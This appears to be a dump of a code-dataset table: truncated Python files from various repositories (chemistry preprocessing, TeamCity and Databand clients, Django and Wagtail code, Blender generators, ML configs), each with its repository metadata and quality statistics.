# E... | 25.468944 | 82 | 0.683819 | 1,113 | 8,201 | 4.880503 | 0.068284 | 0.078424 | 0.130707 | 0.235272 | 0.842415 | 0.827688 | 0.821981 | 0.821981 | 0.819956 | 0.741348 | 0 | 0.000491 | 0.255335 | 8,201 | 321 | 83 | 25.548287 | 0.88898 | 0.487867 | 0 | 0.492958 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.492958 | false | 0.492958 | 0.035211 | 0 | 0.535211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 11 |
b2640457a643106db8db8ea46c7c4e7929ae44ad | 4,207 | py | Python | preprocessing/clean_qm9.py | olsson-group/transBG | 046adb33ef50fb54981e344cbb09411f7e53d80a | [
"MIT"
] | null | null | null | preprocessing/clean_qm9.py | olsson-group/transBG | 046adb33ef50fb54981e344cbb09411f7e53d80a | [
"MIT"
] | null | null | null | preprocessing/clean_qm9.py | olsson-group/transBG | 046adb33ef50fb54981e344cbb09411f7e53d80a | [
"MIT"
] | null | null | null | from rdkit.Chem import PandasTools
import pandas as pd
import os
from rdkit import Chem
import numpy as np
cwd = os.getcwd()
dataset_path = os.path.join(cwd, "datasets/QM9/qm9/gdb9.sdf")
i_mol = 0
atom_types = []
edge_types = []
formal_charges_types = []
max_atoms = 0
max_edges = 0
total_mol = 0
unused_mol = []
fo... | 28.234899 | 95 | 0.649869 | 562 | 4,207 | 4.631673 | 0.176157 | 0.099885 | 0.059163 | 0.043796 | 0.846715 | 0.846715 | 0.846715 | 0.82597 | 0.82597 | 0.82597 | 0 | 0.009758 | 0.24483 | 4,207 | 149 | 96 | 28.234899 | 0.809569 | 0.079629 | 0 | 0.854369 | 0 | 0 | 0.014497 | 0.014497 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.048544 | 0 | 0.048544 | 0.126214 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b26ff313e2782db44fb08e8f44a0c4c2543c5bf9 | 27,924 | py | Python | dohq_teamcity/custom/api.py | DenKoren/teamcity | 69acb4d1402c316129b4602882a9cce2d55cf926 | [
"MIT"
] | 23 | 2018-10-19T07:28:45.000Z | 2021-11-12T12:46:09.000Z | dohq_teamcity/custom/api.py | DenKoren/teamcity | 69acb4d1402c316129b4602882a9cce2d55cf926 | [
"MIT"
] | 31 | 2018-10-16T05:53:11.000Z | 2021-09-09T14:44:14.000Z | dohq_teamcity/custom/api.py | DenKoren/teamcity | 69acb4d1402c316129b4602882a9cce2d55cf926 | [
"MIT"
] | 12 | 2018-10-28T23:00:17.000Z | 2021-09-07T12:07:13.000Z | from dohq_teamcity.api import * # noqa
class AgentApi(AgentApi):
def get(self, agent_locator, **kwargs):
"""
:param async_req: bool
:param str agent_locator: (required)
:param str fields:
:return: Agent
"""
return self.serve_agent(agent_locator, **kwargs)
... | 29.833333 | 80 | 0.591964 | 3,025 | 27,924 | 5.204628 | 0.040992 | 0.105183 | 0.090447 | 0.107406 | 0.890117 | 0.861026 | 0.830539 | 0.818216 | 0.773882 | 0.739837 | 0 | 0 | 0.306546 | 27,924 | 935 | 81 | 29.865241 | 0.813055 | 0.360335 | 0 | 0.353909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.366255 | false | 0 | 0.004115 | 0 | 0.8107 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
b28e22454e7cef862fa5b1360058feef496f9769 | 242 | py | Python | utils.py | dionysio/haveibeenpwned_lastpass | efd8f1c785317fd5d948ee91125952219f27e5b2 | [
"MIT"
] | 101 | 2018-03-05T10:55:40.000Z | 2021-12-06T22:59:01.000Z | utils.py | dionysio/haveibeenpwned_lastpass | efd8f1c785317fd5d948ee91125952219f27e5b2 | [
"MIT"
] | 3 | 2018-03-19T22:03:12.000Z | 2018-03-31T09:24:30.000Z | utils.py | dionysio/haveibeenpwned_lastpass | efd8f1c785317fd5d948ee91125952219f27e5b2 | [
"MIT"
] | 13 | 2018-03-05T23:06:12.000Z | 2021-04-21T15:23:22.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import monkeypatch_lastpass
import lastpass
def get_lastpass_vault(username, password, multifactor_password=None):
return lastpass.Vault.open_remote(username, password, multifactor_password) | 30.25 | 79 | 0.793388 | 30 | 242 | 6.2 | 0.666667 | 0.139785 | 0.290323 | 0.376344 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004587 | 0.099174 | 242 | 8 | 79 | 30.25 | 0.848624 | 0.173554 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 1 | 0.5 | 0.25 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 7 |
b2a3e9ad20bc261a0edc524a6069c1c1f3dd00cf | 175 | py | Python | shoppinglist/admin.py | ingridguo/django_apps_collection | bdc2050c6085937a34229d1b21bd1a304c44f0df | [
"MIT"
] | null | null | null | shoppinglist/admin.py | ingridguo/django_apps_collection | bdc2050c6085937a34229d1b21bd1a304c44f0df | [
"MIT"
] | 1 | 2018-07-08T14:51:52.000Z | 2018-07-08T14:55:00.000Z | shoppinglist/admin.py | ingridguo/django_apps_collection | bdc2050c6085937a34229d1b21bd1a304c44f0df | [
"MIT"
] | null | null | null | from django.contrib import admin
# Register your models here.
from .models import Item
from .models import ItemsList
admin.site.register(ItemsList)
admin.site.register(Item) | 21.875 | 32 | 0.811429 | 25 | 175 | 5.68 | 0.48 | 0.140845 | 0.225352 | 0.366197 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 175 | 8 | 33 | 21.875 | 0.916129 | 0.148571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
0c01cddc80fa879938d5f61d3a89133c82cb8220 | 363 | py | Python | tests/test_utils.py | bfmcneill/twitter_picker | 651881a4a3750473899c1b289455000a5a137918 | [
"MIT"
] | null | null | null | tests/test_utils.py | bfmcneill/twitter_picker | 651881a4a3750473899c1b289455000a5a137918 | [
"MIT"
] | null | null | null | tests/test_utils.py | bfmcneill/twitter_picker | 651881a4a3750473899c1b289455000a5a137918 | [
"MIT"
] | null | null | null | import twitter_picker.utils as utils
def test_project_root_is_path_object():
import pathlib
assert isinstance(utils.get_project_root(), pathlib.Path)
def test_project_root_is_valid_path():
import pathlib
assert utils.get_project_root().exists()
def test_project_root_is_dir():
import pathlib
... | 21.352941 | 61 | 0.774105 | 53 | 363 | 4.886792 | 0.358491 | 0.254826 | 0.200772 | 0.208494 | 0.525097 | 0.293436 | 0.293436 | 0 | 0 | 0 | 0 | 0 | 0.146006 | 363 | 16 | 62 | 22.6875 | 0.835484 | 0 | 0 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.3 | 1 | 0.3 | true | 0 | 0.4 | 0 | 0.7 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
0c4b40e6e3bdbe8085db8f821ed3539bc5493428 | 2,483 | py | Python | services/mock.py | devx3/hero-testes-tech-talk | 604641f41c18cd9f9f2b59c8c25cf0a2fc6adfcb | [
"MIT"
] | null | null | null | services/mock.py | devx3/hero-testes-tech-talk | 604641f41c18cd9f9f2b59c8c25cf0a2fc6adfcb | [
"MIT"
] | 3 | 2021-09-24T01:23:38.000Z | 2021-09-28T22:15:29.000Z | services/mock.py | devx3/hero-testes-tech-talk | 604641f41c18cd9f9f2b59c8c25cf0a2fc6adfcb | [
"MIT"
] | 1 | 2021-09-29T13:18:39.000Z | 2021-09-29T13:18:39.000Z | RESPONSE_MOCK = [
{
"request_id": "REQUEST_UUID",
"results": [
{
"company_id": "COMPANY_UUID",
"companies": [
{
"cnpj": "CNPJ DA EMPRESA",
"company_name": "Razão Social",
... | 38.2 | 68 | 0.331051 | 144 | 2,483 | 5.493056 | 0.361111 | 0.045512 | 0.040455 | 0.058154 | 0.932996 | 0.932996 | 0.932996 | 0.932996 | 0.932996 | 0.932996 | 0 | 0.000927 | 0.565445 | 2,483 | 64 | 69 | 38.796875 | 0.732159 | 0 | 0 | 0.59375 | 0 | 0 | 0.34112 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a7484596cd3f204bbc3c47fa31256eb5283cb863 | 177,504 | py | Python | common/migrations/0001_squashed_0048_auto_20170111_1744.py | baylee-d/cos.io | 3f88acb0feb7a167bf9e81c42e28f9d2d38bbd43 | [
"Apache-2.0"
] | null | null | null | common/migrations/0001_squashed_0048_auto_20170111_1744.py | baylee-d/cos.io | 3f88acb0feb7a167bf9e81c42e28f9d2d38bbd43 | [
"Apache-2.0"
] | null | null | null | common/migrations/0001_squashed_0048_auto_20170111_1744.py | baylee-d/cos.io | 3f88acb0feb7a167bf9e81c42e28f9d2d38bbd43 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.2 on 2017-01-11 18:31
from __future__ import unicode_literals
import common.blocks.collapsebox
import common.blocks.columns
import common.blocks.table
import common.blocks.tabs
from django.conf import settings
from django.db import migrations, models
import django.db.... | 351.493069 | 16,882 | 0.729223 | 19,002 | 177,504 | 6.726555 | 0.029681 | 0.216026 | 0.277895 | 0.131985 | 0.95891 | 0.956336 | 0.945023 | 0.94022 | 0.94022 | 0.936613 | 0 | 0.016396 | 0.073655 | 177,504 | 504 | 16,883 | 352.190476 | 0.760944 | 0.000383 | 0 | 0.622222 | 1 | 0.008081 | 0.266202 | 0.043374 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.030303 | 0 | 0.040404 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
a766d6695c40ddd18b7e85546f4f45d64e73b489 | 41,005 | py | Python | tests/kallisticore/lib/test_trial_executor.py | jpmorganchase/kallisti-core | d9dfcaa2ec3c9cd26dd37b5f2c39c3788a3d05aa | [
"Apache-2.0"
] | 1 | 2022-03-03T14:27:25.000Z | 2022-03-03T14:27:25.000Z | tests/kallisticore/lib/test_trial_executor.py | jpmorganchase/kallisti-core | d9dfcaa2ec3c9cd26dd37b5f2c39c3788a3d05aa | [
"Apache-2.0"
] | null | null | null | tests/kallisticore/lib/test_trial_executor.py | jpmorganchase/kallisti-core | d9dfcaa2ec3c9cd26dd37b5f2c39c3788a3d05aa | [
"Apache-2.0"
] | 1 | 2022-03-09T05:57:55.000Z | 2022-03-09T05:57:55.000Z | import uuid
from unittest import mock
from unittest.mock import Mock, ANY, call
from django.conf import settings
from django.test import TestCase
from django.utils import timezone
from kallisticore import signals
from kallisticore.lib.observe.observer import Observer
from kallisticore.lib.trial_executor import TrialEx... | 45.662584 | 79 | 0.591928 | 4,810 | 41,005 | 4.670686 | 0.045738 | 0.041307 | 0.048607 | 0.027775 | 0.828852 | 0.786121 | 0.769518 | 0.750512 | 0.736135 | 0.729636 | 0 | 0.000139 | 0.298793 | 41,005 | 897 | 80 | 45.713489 | 0.781205 | 0 | 0 | 0.73125 | 0 | 0 | 0.12479 | 0.013828 | 0 | 0 | 0 | 0 | 0.1 | 1 | 0.05125 | false | 0.0025 | 0.01625 | 0 | 0.095 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a7a55f0c3a06db6d43523d2d9069d00fa02402ad | 210 | py | Python | foxylib/tools/messenger/slack/methods/response_tool.py | foxytrixy-com/foxylib | 94b8c5b9f8b12423393c68f7d9f910258840ed18 | [
"BSD-3-Clause"
] | null | null | null | foxylib/tools/messenger/slack/methods/response_tool.py | foxytrixy-com/foxylib | 94b8c5b9f8b12423393c68f7d9f910258840ed18 | [
"BSD-3-Clause"
] | 3 | 2019-12-12T05:17:44.000Z | 2022-03-11T23:40:50.000Z | foxylib/tools/messenger/slack/methods/response_tool.py | foxytrixy-com/foxylib | 94b8c5b9f8b12423393c68f7d9f910258840ed18 | [
"BSD-3-Clause"
] | 2 | 2019-10-16T17:39:34.000Z | 2020-02-10T06:32:08.000Z | class SlackResponseTool:
@classmethod
def response2is_ok(cls, response):
return response["ok"] is True
@classmethod
def response2j_resopnse(cls, response):
return response.data
| 23.333333 | 43 | 0.690476 | 22 | 210 | 6.5 | 0.636364 | 0.195804 | 0.237762 | 0.34965 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012422 | 0.233333 | 210 | 8 | 44 | 26.25 | 0.875776 | 0 | 0 | 0.285714 | 0 | 0 | 0.009524 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.285714 | 0.714286 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
ac02f6d2e73030d01549481649f9ef6c0c326870 | 100 | py | Python | api/crud/__init__.py | p0lygun/astounding-arapaimas | f82dbb2ec75ab7d98da6a46a1276c12583048b3c | [
"MIT"
] | null | null | null | api/crud/__init__.py | p0lygun/astounding-arapaimas | f82dbb2ec75ab7d98da6a46a1276c12583048b3c | [
"MIT"
] | 19 | 2021-07-11T10:02:08.000Z | 2021-07-20T14:58:29.000Z | api/crud/__init__.py | p0lygun/astounding-arapaimas | f82dbb2ec75ab7d98da6a46a1276c12583048b3c | [
"MIT"
] | null | null | null | from api.crud.crud_game import game # noqa: F401
from api.crud.crud_user import user # noqa: F401
| 33.333333 | 49 | 0.76 | 18 | 100 | 4.111111 | 0.444444 | 0.189189 | 0.297297 | 0.405405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 0.16 | 100 | 2 | 50 | 50 | 0.809524 | 0.21 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ac30bc1e464669d5413efdbe71a1c6c4a78edb9c | 14,676 | py | Python | BlenderProject/ProceduralBuildingGenerator/generateModules.py | AlexMG99/ProceduralBuildingGeneratorTool | 6cf8619449385d8d78561b66c93b43b5ee8a2443 | [
"MIT"
] | 3 | 2021-06-21T17:02:51.000Z | 2022-03-25T16:03:31.000Z | BlenderProject/ProceduralBuildingGenerator/generateModules.py | AlexMG99/ProceduralBuildingGeneratorTool | 6cf8619449385d8d78561b66c93b43b5ee8a2443 | [
"MIT"
] | null | null | null | BlenderProject/ProceduralBuildingGenerator/generateModules.py | AlexMG99/ProceduralBuildingGeneratorTool | 6cf8619449385d8d78561b66c93b43b5ee8a2443 | [
"MIT"
] | null | null | null | import bpy, bmesh
import random as rand
from . import utilities
from . import material
from . import generateAssets
# Generate module window
def generateModuleWindow(obj, windowSize, windowType):
bpy.data.objects[obj.name].select_set(True)
# Randomness
buildingParameters = bpy.context.scene.bui... | 46.443038 | 122 | 0.468793 | 1,305 | 14,676 | 5.100383 | 0.132567 | 0.049579 | 0.061599 | 0.050481 | 0.859075 | 0.852013 | 0.852013 | 0.852013 | 0.823918 | 0.823918 | 0 | 0.019857 | 0.399496 | 14,676 | 315 | 123 | 46.590476 | 0.735391 | 0.144181 | 0 | 0.743017 | 1 | 0 | 0.093855 | 0.025444 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027933 | false | 0 | 0.027933 | 0 | 0.055866 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ac392b03a2a77a7c7fce8dd713446c0a125c86bd | 2,502 | py | Python | src/athene/rte/utils/estimator_definitions.py | UKPLab/fever-2018-team-athene | 730e4055899680c2ce5d5be1881e36913041d490 | [
"Apache-2.0"
] | 41 | 2019-02-11T13:49:54.000Z | 2022-01-25T19:37:29.000Z | src/athene/rte/utils/estimator_definitions.py | j6mes/fever-athene-system | e2b3cd731e5675c78745d918fd2d194cfd4191ca | [
"Apache-2.0"
] | 22 | 2019-02-20T13:42:28.000Z | 2022-02-09T23:29:32.000Z | src/athene/rte/utils/estimator_definitions.py | j6mes/fever-athene-system | e2b3cd731e5675c78745d918fd2d194cfd4191ca | [
"Apache-2.0"
] | 13 | 2019-03-27T08:42:40.000Z | 2022-03-27T14:14:30.000Z | import numpy as np
def get_estimator(scorer_type, save_folder=None):
if scorer_type == 'esim':
# submitted model, glove + fasttext, with attention
from os import path
from athene.rte.deep_models.ESIM_for_ensemble import ESIM
from athene.utils.config import Config
pos_weight... | 61.02439 | 119 | 0.665468 | 300 | 2,502 | 5.196667 | 0.226667 | 0.141116 | 0.211674 | 0.282232 | 0.891597 | 0.891597 | 0.891597 | 0.891597 | 0.891597 | 0.891597 | 0 | 0.002094 | 0.236611 | 2,502 | 40 | 120 | 62.55 | 0.814136 | 0.027578 | 0 | 0.8 | 0 | 0 | 0.113169 | 0.027572 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028571 | false | 0 | 0.2 | 0 | 0.257143 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
ce2e370e2cf31c2e56f9587afdcae0351931d174 | 41,027 | py | Python | configs/vision/smpleff.py | GabrieleLagani/HebbianPCA | 2736bb3017fa30ad2c160c891d42361bc5894df5 | [
"MIT"
] | 4 | 2021-01-30T14:53:54.000Z | 2021-03-23T09:52:18.000Z | configs/vision/smpleff.py | GabrieleLagani/HebbianPCA | 2736bb3017fa30ad2c160c891d42361bc5894df5 | [
"MIT"
] | null | null | null | configs/vision/smpleff.py | GabrieleLagani/HebbianPCA | 2736bb3017fa30ad2c160c891d42361bc5894df5 | [
"MIT"
] | 2 | 2022-03-04T08:28:44.000Z | 2022-03-16T19:00:34.000Z | import neurolab.params as P
import params as PP
from .meta import *
config_base_gdes = {}
gdes_fc_on_gdes_layer = {}
gdes_fc_on_gdes_layer_ft = {}
hebb_fc_on_gdes_layer = {}
hebb_fc_on_gdes_layer_ft = {}
prec_on_gdes_layer = {}
prec_on_gdes_layer_ft = {}
knn_on_gdes_layer = {}
knn_on_gdes_layer_ft = {}
svm_on_gdes_l... | 56.8241 | 227 | 0.685012 | 6,316 | 41,027 | 4.080114 | 0.021374 | 0.098099 | 0.023283 | 0.029104 | 0.989212 | 0.97889 | 0.974544 | 0.974078 | 0.972604 | 0.972604 | 0 | 0.01383 | 0.169888 | 41,027 | 722 | 228 | 56.8241 | 0.742843 | 0 | 0 | 0.849508 | 0 | 0 | 0.246588 | 0.193478 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.040788 | 0.004219 | 0 | 0.004219 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
cbeec8ca4f758ff47753b0d103d1a94986732d93 | 122 | py | Python | churnmodels/schema/__init__.py | ypix/fight-churn-nb | fcaaf17a30d69851be42a54c0e68ca4444fb97e1 | [
"MIT"
] | null | null | null | churnmodels/schema/__init__.py | ypix/fight-churn-nb | fcaaf17a30d69851be42a54c0e68ca4444fb97e1 | [
"MIT"
] | null | null | null | churnmodels/schema/__init__.py | ypix/fight-churn-nb | fcaaf17a30d69851be42a54c0e68ca4444fb97e1 | [
"MIT"
] | null | null | null | from .models import *
from .model_rfl import _howto_do_it as reflect_db
from .model_rfl import get_schema_rfl, get_db_uri
| 30.5 | 49 | 0.836066 | 23 | 122 | 4 | 0.608696 | 0.195652 | 0.26087 | 0.391304 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122951 | 122 | 3 | 50 | 40.666667 | 0.859813 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
0208c024b891c030cd44e2cbb5f18d29a101441d | 6,911 | py | Python | modules/dbnd/test_dbnd/api/test_databand_client.py | dmytrostriletskyi/dbnd | d4a5f5167523e80439c9d64182cdc87b40cbc48f | [
"Apache-2.0"
] | null | null | null | modules/dbnd/test_dbnd/api/test_databand_client.py | dmytrostriletskyi/dbnd | d4a5f5167523e80439c9d64182cdc87b40cbc48f | [
"Apache-2.0"
] | null | null | null | modules/dbnd/test_dbnd/api/test_databand_client.py | dmytrostriletskyi/dbnd | d4a5f5167523e80439c9d64182cdc87b40cbc48f | [
"Apache-2.0"
] | null | null | null | import pytest
from mock import MagicMock, patch
from dbnd.api.databand_client import DatabandClient
@pytest.fixture
def databand_client():
return DatabandClient.build_databand_client()
@patch("dbnd.api.databand_client.DatabandClient.get_run_info")
def test_get_first_task_run_error(mock_get_run_info, databand_... | 74.311828 | 399 | 0.644625 | 975 | 6,911 | 4.330256 | 0.100513 | 0.051397 | 0.039081 | 0.049739 | 0.949076 | 0.949076 | 0.949076 | 0.949076 | 0.943155 | 0.943155 | 0 | 0.066579 | 0.230647 | 6,911 | 92 | 400 | 75.119565 | 0.727478 | 0 | 0 | 0.702381 | 0 | 0.119048 | 0.676458 | 0.339604 | 0 | 0 | 0 | 0 | 0.02381 | 1 | 0.035714 | false | 0 | 0.035714 | 0.011905 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
02539be657cf06f0346f5baa8ee93c46c66f1301 | 57 | py | Python | pythonversion.py | bjoffficial/Python | 73e6fdc19a1bec18488405c4a60c30ba68581ce5 | [
"Apache-2.0"
] | null | null | null | pythonversion.py | bjoffficial/Python | 73e6fdc19a1bec18488405c4a60c30ba68581ce5 | [
"Apache-2.0"
] | null | null | null | pythonversion.py | bjoffficial/Python | 73e6fdc19a1bec18488405c4a60c30ba68581ce5 | [
"Apache-2.0"
] | null | null | null | import sys
print(sys.version)
print(sys.version_info)
| 14.25 | 24 | 0.77193 | 9 | 57 | 4.777778 | 0.555556 | 0.372093 | 0.697674 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122807 | 57 | 3 | 25 | 19 | 0.86 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.666667 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 7 |
027f0e6db8094c5bdf1fe7b34fd2475508d8a18d | 225 | py | Python | examples/CooperativeSearch/psaltlib/Outputs/__init__.py | GaloisInc/salty | f410659b3399ad7c527513e67b06dff0332d823e | [
"BSD-3-Clause"
] | 13 | 2017-02-15T21:56:46.000Z | 2022-03-23T12:59:26.000Z | examples/CooperativeSearch/psaltlib/Outputs/__init__.py | GaloisInc/salty | f410659b3399ad7c527513e67b06dff0332d823e | [
"BSD-3-Clause"
] | 17 | 2016-07-21T10:47:23.000Z | 2020-08-07T13:26:21.000Z | examples/CooperativeSearch/psaltlib/Outputs/__init__.py | GaloisInc/salty | f410659b3399ad7c527513e67b06dff0332d823e | [
"BSD-3-Clause"
] | 2 | 2019-06-11T11:59:40.000Z | 2022-02-09T12:48:39.000Z | from psaltlib.Outputs.reg1 import *
from psaltlib.Outputs.Search2 import *
from psaltlib.Outputs.Track import *
from psaltlib.Outputs.Search1 import *
from psaltlib.Outputs.reg2 import *
from psaltlib.Outputs.Return import *
| 32.142857 | 38 | 0.813333 | 30 | 225 | 6.1 | 0.333333 | 0.393443 | 0.622951 | 0.68306 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019901 | 0.106667 | 225 | 6 | 39 | 37.5 | 0.890547 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
65efdf9fd15676c79a94685e56259780ecaf0387 | 234 | py | Python | python/anyascii/_data/_11f.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | python/anyascii/_data/_11f.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | python/anyascii/_data/_11f.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | b=' yh $ $ $ $' | 234 | 234 | 0.012821 | 2 | 234 | 1.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.957265 | 234 | 1 | 234 | 234 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0.978723 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
